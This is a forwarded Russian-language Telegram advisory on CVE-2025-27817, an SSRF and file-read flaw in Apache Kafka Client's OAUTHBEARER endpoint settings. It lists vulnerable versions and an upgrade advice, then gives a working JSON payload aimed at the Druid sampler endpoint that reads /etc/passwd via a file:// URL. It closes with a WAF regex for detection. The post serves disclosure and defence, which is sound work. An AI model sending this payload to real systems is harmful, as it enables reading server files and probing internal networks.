Forwarded from Четыре луча
SSRF в Apache Kafka Client CVE-2025-27817
CVE-2025-27817 обнаружена в Apache Kafka Client и затрагивает механизм аутентификации SASL/OAUTHBEARER. Эта уязвимость позволяет злоумышленнику указать произвольные значения параметров sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что может привести к реализации SSRF.
❗️Уязвимы версии 3.1.0 – 3.9.0 — рекомендуем обновиться.
Метрики
Описание уязвимости
Kafka Client позволяет указать URL-адреса в конфигурации:
sasl.oauthbearer.token.endpoint.url —это параметр конфигурации в Apache Kafka Client, который указывает URL-адрес сервера аутентификации OAuthBearer, откуда клиент должен получить токен доступа.
sasl.oauthbearer.jwks.endpoint.url —это параметр конфигурации Apache Kafka Client, который указывает URL для получения JWKS (JSON Web Key Set) — набора ключей, используемых для проверки подписанных OAuth токенов.
Проблема
Kafka не ограничивает допустимые схемы URL — можно подставить:
Пример эксплойта
В данном запросе злоумышленник получит содержимое файла /etc/passwd через схему file. А в известном эксплоите обращение идет к эндроинту
Как защищаться
На WAF можно написать правило, которое контролировало содержимое ключей
Например подобным регулярным выражением
Возможные исключения: в схемах https, http отсутствие адресов, недоступных для внешних пользователей.
CVE-2025-27817 обнаружена в Apache Kafka Client и затрагивает механизм аутентификации SASL/OAUTHBEARER. Эта уязвимость позволяет злоумышленнику указать произвольные значения параметров sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что может привести к реализации SSRF.
❗️Уязвимы версии 3.1.0 – 3.9.0 — рекомендуем обновиться.
Метрики
Base core: 7,5 (High)
CWE: CWE 918
Описание уязвимости
Kafka Client позволяет указать URL-адреса в конфигурации:
sasl.oauthbearer.token.endpoint.url
sasl.oauthbearer.jwks.endpoint.url
sasl.oauthbearer.token.endpoint.url —
sasl.oauthbearer.jwks.endpoint.url —
Проблема
Kafka не ограничивает допустимые схемы URL — можно подставить:
file://
→ приведёт к чтению локального файла и логированию его содержимого.https://
или https://
→ позволяет сделать запрос к произвольному серверу, в том числе во внутренней сети → SSRF.Пример эксплойта
{
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:1337",
"sasl.mechanism": "OAUTHBEARER",
"security.protocol": "SASL_SSL",
"sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required;"
},
"topic": "xx",
"useEarliestOffset": true
},
"dataSchema": {
"dataSource": "test"
}
}
}
В данном запросе злоумышленник получит содержимое файла /etc/passwd через схему file. А в известном эксплоите обращение идет к эндроинту
/druid/indexer/v1/sampler
Как защищаться
На WAF можно написать правило, которое контролировало содержимое ключей
sasl.oauthbearer.token.endpoint.url
и sasl.oauthbearer.jwks.endpoint.url
, что бы в них не передавались схемы http, ftp, php, https, file, data. Например подобным регулярным выражением
\"\s*sasl\.oauthbearer\.(token|jwks)\.endpoint\.url\s*\":\s*\"\s*(http:\/\/|https:\/\/|file:\/\/|php|data|ftp).*?\"
Возможные исключения: в схемах https, http отсутствие адресов, недоступных для внешних пользователей.
Forwarded from /g/‘s Tech Memes (Gianmarco Gargiulo)
This media is not supported in your browser
VIEW IN TELEGRAM